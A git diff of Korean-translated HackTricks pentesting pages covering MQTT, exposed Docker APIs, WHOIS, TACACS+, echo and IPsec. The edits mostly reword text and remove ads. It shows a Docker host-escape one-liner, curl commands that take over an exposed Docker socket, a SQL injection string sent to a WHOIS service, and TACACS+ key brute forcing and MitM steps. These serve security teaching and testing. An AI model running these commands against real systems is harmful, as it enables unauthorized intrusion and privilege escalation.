* PINGRESP (13): 하트비트 메시지에 대한 서버의 응답입니다.
|
* PINGRESP (13): 하트비트 메시지에 대한 서버의 응답입니다.
|
||||||
* DISCONNECT (14): 클라이언트가 연결을 종료하기 위해 시작합니다.
|
* DISCONNECT (14): 클라이언트가 연결을 종료하기 위해 시작합니다.
|
||||||
* 두 값, 0과 15는 예약되어 있으며 사용이 금지됩니다.
|
* 두 값, 0과 15는 예약으로 표시되며 사용이 금지됩니다.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:1883 MQTT`
|
* `port:1883 MQTT`
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) 는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **compromised** 되었는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Docker Basics
|
### Docker Basics
|
||||||
|
|
||||||
|
@ -37,10 +24,10 @@ Docker는 **컨테이너화 산업**의 **최전선 플랫폼**으로, **지속
|
||||||
|
|
||||||
#### Basic docker architecture
|
#### Basic docker architecture
|
||||||
|
|
||||||
* [**containerd**](http://containerd.io): 이는 컨테이너의 **생애 주기**를 포괄적으로 **관리**하는 **핵심 런타임**입니다. 여기에는 **이미지 전송 및 저장**을 처리하고, 컨테이너의 **실행, 모니터링 및 네트워킹**을 감독하는 것이 포함됩니다. **containerd에 대한 더 자세한 통찰**은 **추가적으로 탐구됩니다**.
|
* [**containerd**](http://containerd.io): 이는 **컨테이너의 라이프사이클**을 포괄적으로 **관리하는 핵심 런타임**입니다. 여기에는 **이미지 전송 및 저장**을 처리하고, **컨테이너의 실행, 모니터링 및 네트워킹**을 감독하는 것이 포함됩니다. **containerd에 대한 더 자세한 통찰**은 **추가적으로 탐구됩니다**.
|
||||||
* **container-shim**은 **헤드리스 컨테이너**를 처리하는 데 있어 **중개자**로서 중요한 역할을 하며, 컨테이너가 초기화된 후 **runc**에서 원활하게 인계받습니다.
|
* **container-shim**은 **헤드리스 컨테이너**를 처리하는 데 있어 **중개자**로서 중요한 역할을 하며, 컨테이너가 초기화된 후 **runc**에서 원활하게 인계받습니다.
|
||||||
* [**runc**](http://runc.io): **경량 및 범용 컨테이너 런타임** 기능으로 유명한 runc는 **OCI 표준**에 맞춰져 있습니다. 이는 containerd가 **OCI 가이드라인**에 따라 컨테이너를 **시작하고 관리**하는 데 사용되며, 원래의 **libcontainer**에서 발전하였습니다.
|
* [**runc**](http://runc.io): **경량 및 범용 컨테이너 런타임** 기능으로 유명한 runc는 **OCI 표준**에 맞춰져 있습니다. 이는 containerd에 의해 **OCI 지침**에 따라 **컨테이너를 시작하고 관리**하는 데 사용되며, 원래의 **libcontainer**에서 발전하였습니다.
|
||||||
* [**grpc**](http://www.grpc.io)는 containerd와 **docker-engine** 간의 **통신을 촉진**하는 데 필수적이며, **효율적인 상호작용**을 보장합니다.
|
* [**grpc**](http://www.grpc.io)는 **containerd와 docker-engine** 간의 **통신을 촉진하는 데 필수적**이며, **효율적인 상호작용**을 보장합니다.
|
||||||
* [**OCI**](https://www.opencontainers.org)는 런타임 및 이미지에 대한 **OCI 사양**을 유지하는 데 중요한 역할을 하며, 최신 Docker 버전은 **OCI 이미지 및 런타임** 표준을 모두 준수합니다.
|
* [**OCI**](https://www.opencontainers.org)는 런타임 및 이미지에 대한 **OCI 사양**을 유지하는 데 중요한 역할을 하며, 최신 Docker 버전은 **OCI 이미지 및 런타임** 표준을 모두 준수합니다.
|
||||||
|
|
||||||
#### Basic commands
|
#### Basic commands
|
||||||
|
@ -90,7 +77,7 @@ ctr container delete <containerName>
|
||||||
```
|
```
|
||||||
#### Podman
|
#### Podman
|
||||||
|
|
||||||
**Podman**은 Red Hat에서 개발 및 유지 관리하는 오픈 소스 컨테이너 엔진으로, [Open Container Initiative (OCI) 표준](https://github.com/opencontainers)을 준수합니다. **데몬 없는 아키텍처**와 **루트 없는 컨테이너** 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
|
**Podman**은 Red Hat에서 개발하고 유지 관리하는 오픈 소스 컨테이너 엔진으로, [Open Container Initiative (OCI) 표준](https://github.com/opencontainers)을 준수합니다. **데몬 없는 아키텍처**와 **루트 없는 컨테이너** 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
|
||||||
|
|
||||||
Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령어를 사용할 수 있습니다. 이 호환성은 컨테이너 이미지 빌드를 위한 **Buildah**와 푸시, 풀, 검사와 같은 이미지 작업을 위한 **Skopeo**와 같은 도구를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 [GitHub 페이지](https://github.com/containers/buildah/tree/master/docs/containertools)에서 확인할 수 있습니다.
|
Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령어를 사용할 수 있습니다. 이 호환성은 컨테이너 이미지 빌드를 위한 **Buildah**와 푸시, 풀, 검사와 같은 이미지 작업을 위한 **Skopeo**와 같은 도구를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 [GitHub 페이지](https://github.com/containers/buildah/tree/master/docs/containertools)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
|
@ -103,7 +90,7 @@ Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령어를
|
||||||
Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로우와의 호환성을 강조하며 Docker에 대한 안전하고 유연한 대안을 제공합니다.
|
Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로우와의 호환성을 강조하며 Docker에 대한 안전하고 유연한 대안을 제공합니다.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:
|
Podman이 Docker와 동일한 API를 지원하는 것을 목표로 하므로, 다음과 같은 Docker와 동일한 명령어를 Podman에서도 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
podman --version
|
podman --version
|
||||||
podman info
|
podman info
|
||||||
|
@ -161,10 +148,10 @@ docker-init:
|
||||||
Version: 0.18.0
|
Version: 0.18.0
|
||||||
GitCommit: fec3683
|
GitCommit: fec3683
|
||||||
```
|
```
|
||||||
원격 docker API에 **`docker` 명령어로 연락할 수 있다면**, 서비스와 상호작용하기 위해 **이전에 언급된** **docker** [**명령어**](2375-pentesting-docker.md#basic-commands)를 **실행**할 수 있습니다.
|
원격 docker API에 **`docker` 명령어로 연락할 수 있다면**, 서비스와 상호작용하기 위해 **이전에 언급된** **docker** [**명령어**](2375-pentesting-docker.md#basic-commands)를 **실행할 수 있습니다**.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
`export DOCKER_HOST="tcp://localhost:2375"`를 사용하여 docker 명령어와 함께 `-H` 매개변수를 **피할 수 있습니다.**
|
`export DOCKER_HOST="tcp://localhost:2375"`를 사용하여 docker 명령어와 함께 `-H` 매개변수를 **사용하지 않을 수 있습니다**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**빠른 권한 상승**
|
**빠른 권한 상승**
|
||||||
|
@ -173,7 +160,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||||
```
|
```
|
||||||
**Curl**
|
**Curl**
|
||||||
|
|
||||||
가끔 **TLS** 엔드포인트에 **2376**이 열려 있는 것을 볼 수 있습니다. docker 클라이언트로는 연결할 수 없었지만 curl을 사용하면 연결할 수 있습니다.
|
가끔 **TLS** 엔드포인트에 **2376**이 열려 있는 것을 볼 수 있습니다. 도커 클라이언트로는 연결할 수 없었지만 curl로는 연결할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
#List containers
|
#List containers
|
||||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||||
|
@ -203,7 +190,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
|
||||||
#Delete stopped containers
|
#Delete stopped containers
|
||||||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
||||||
```
|
```
|
||||||
더 많은 정보가 필요하면, 제가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
더 많은 정보가 필요하면, 내가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||||
|
|
||||||
#### 자동
|
#### 자동
|
||||||
```bash
|
```bash
|
||||||
|
@ -289,7 +276,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||||
|
|
||||||
#### Logging Suspicious activity
|
#### Logging Suspicious activity
|
||||||
|
|
||||||
* 실행 중인 컨테이너에서 **의심스러운 행동**을 감지하기 위해 도구 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)를 사용할 수 있습니다.
|
* **실행 중인 컨테이너에서 의심스러운 행동을 감지**하기 위해 도구 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)를 사용할 수 있습니다.
|
||||||
* 다음 부분에서 **Falco가 커널 모듈을 컴파일하고 삽입하는 방법**에 주목하세요. 그 후, 규칙을 로드하고 **의심스러운 활동을 기록하기 시작합니다**. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
|
* 다음 부분에서 **Falco가 커널 모듈을 컴파일하고 삽입하는 방법**에 주목하세요. 그 후, 규칙을 로드하고 **의심스러운 활동을 기록하기 시작합니다**. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
|
||||||
```bash
|
```bash
|
||||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||||
|
@ -335,22 +322,11 @@ falco-probe found and loaded in dkms
|
||||||
|
|
||||||
auditd를 사용하여 docker를 모니터링할 수 있습니다.
|
auditd를 사용하여 docker를 모니터링할 수 있습니다.
|
||||||
|
|
||||||
### 참고 문헌
|
### 참고자료
|
||||||
|
|
||||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 그 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**WHOIS** 프로토콜은 특정 데이터베이스를 통해 **다양한 인터넷 자원의 등록자 또는 소유자에 대한 문의를 위한 표준 방법**으로 사용됩니다. 이러한 자원에는 도메인 이름, IP 주소 블록 및 자율 시스템 등이 포함됩니다. 이 외에도, 이 프로토콜은 더 넓은 범위의 정보에 접근하는 데 사용됩니다.
|
**WHOIS** 프로토콜은 특정 데이터베이스를 통해 **다양한 인터넷 자원의 등록자 또는 소유자에 대한 문의를 위한 표준 방법**으로 사용됩니다. 이러한 자원에는 도메인 이름, IP 주소 블록 및 자율 시스템 등이 포함됩니다. 이 외에도, 이 프로토콜은 더 넓은 범위의 정보에 접근하는 데 사용됩니다.
|
||||||
|
@ -43,18 +35,12 @@ Notice than sometimes when requesting for some information to a WHOIS service th
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (301).png>)
|
![](<../.gitbook/assets/image (301).png>)
|
||||||
|
|
||||||
또한, WHOIS 서비스는 항상 정보를 저장하고 추출하기 위해 **데이터베이스**를 사용해야 합니다. 따라서 사용자가 제공한 정보로 **데이터베이스**를 **쿼리**할 때 **SQLInjection**이 발생할 수 있습니다. 예를 들어 `whois -h 10.10.10.155 -p 43 "a') or 1=1#"`를 실행하면 **데이터베이스**에 저장된 **모든** **정보**를 **추출**할 수 있습니다.
|
또한, WHOIS 서비스는 항상 정보를 저장하고 추출하기 위해 **데이터베이스**를 사용해야 합니다. 따라서 사용자가 제공한 정보로 **데이터베이스**를 **쿼리**할 때 **SQLInjection**이 발생할 수 있습니다. 예를 들어 `whois -h 10.10.10.155 -p 43 "a') or 1=1#"`를 실행하면 **데이터베이스**에 저장된 **모든 정보**를 **추출**할 수 있습니다.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:43 whois`
|
* `port:43 whois`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||||
|
@ -84,8 +70,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**Terminal Access Controller Access Control System (TACACS)** 프로토콜은 라우터나 네트워크 접근 서버(NAS)에 접근하려는 사용자를 중앙에서 검증하는 데 사용됩니다. 업그레이드된 버전인 **TACACS+**는 서비스를 인증, 권한 부여 및 회계(AAA)로 분리합니다.
|
**단말기 접근 제어기 접근 제어 시스템 (TACACS)** 프로토콜은 라우터나 네트워크 접근 서버(NAS)에 접근하려는 사용자를 중앙에서 검증하는 데 사용됩니다. 업그레이드된 버전인 **TACACS+**는 인증, 권한 부여 및 회계(AAA) 서비스를 분리합니다.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
49/tcp open tacacs
|
49/tcp open tacacs
|
||||||
|
@ -38,7 +30,7 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
### MitM 공격 수행
|
### MitM 공격 수행
|
||||||
|
|
||||||
**ARP 스푸핑 공격을 사용하여 중간자(MitM) 공격을 수행할 수 있습니다**.
|
**ARP 스푸핑 공격을 이용하여 중간자(MitM) 공격을 수행할 수 있습니다**.
|
||||||
|
|
||||||
### 키 무차별 대입 공격
|
### 키 무차별 대입 공격
|
||||||
|
|
||||||
|
@ -49,7 +41,7 @@ sudo loki_gtk.py
|
||||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||||
|
|
||||||
### Decrypting Traffic
|
### Decrypting Traffic
|
||||||
Once the key is successfully cracked, the next step is to **decrypt the TACACS-encrypted traffic**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **배너와 관리자 사용자 이름**을 얻을 수 있습니다.
|
Once the key is successfully cracked, the next step is to **decrypt the TACACS-encrypted traffic**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **banner used and the username of the admin** user can be obtained.
|
||||||
|
|
||||||
By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization.
|
By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization.
|
||||||
|
|
||||||
|
@ -57,11 +49,6 @@ By gaining access to the control panel of network equipment using the obtained c
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -13,19 +13,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
이 호스트에서 에코 서비스가 실행되고 있습니다. 에코 서비스는 테스트 및 측정 목적으로 설계되었으며 TCP 및 UDP 프로토콜 모두에서 수신 대기할 수 있습니다. 서버는 수신한 데이터를 수정 없이 다시 전송합니다.\
|
이 호스트에서 에코 서비스가 실행되고 있습니다. 에코 서비스는 테스트 및 측정 목적으로 설계되었으며 TCP 및 UDP 프로토콜 모두에서 수신 대기할 수 있습니다. 서버는 수신한 데이터를 수정 없이 그대로 반환합니다.\
|
||||||
**동일한 또는 다른 머신의 에코 서비스에 연결하여 서비스 거부를 유발할 수 있습니다**. 과도하게 높은 패킷 수로 인해 영향을 받는 머신은 효과적으로 서비스에서 제외될 수 있습니다.\
|
**동일한 또는 다른 머신의 에코 서비스에 연결하여 서비스 거부를 유발할 수 있습니다**. 생성된 패킷의 수가 지나치게 많기 때문에 영향을 받는 머신은 효과적으로 서비스에서 제외될 수 있습니다.\
|
||||||
정보 출처: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
정보 출처: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||||
|
|
||||||
**기본 포트:** 7/tcp/udp
|
**기본 포트:** 7/tcp/udp
|
||||||
|
@ -51,12 +43,6 @@ Hello echo #This is the response
|
||||||
[CA-1996-01 UDP 포트 서비스 거부 공격](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 UDP 포트 서비스 거부 공격](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,42 +1,34 @@
|
||||||
# 500/udp - Pentesting IPsec/IKE VPN
|
# 500/udp - IPsec/IKE VPN 펜테스팅
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
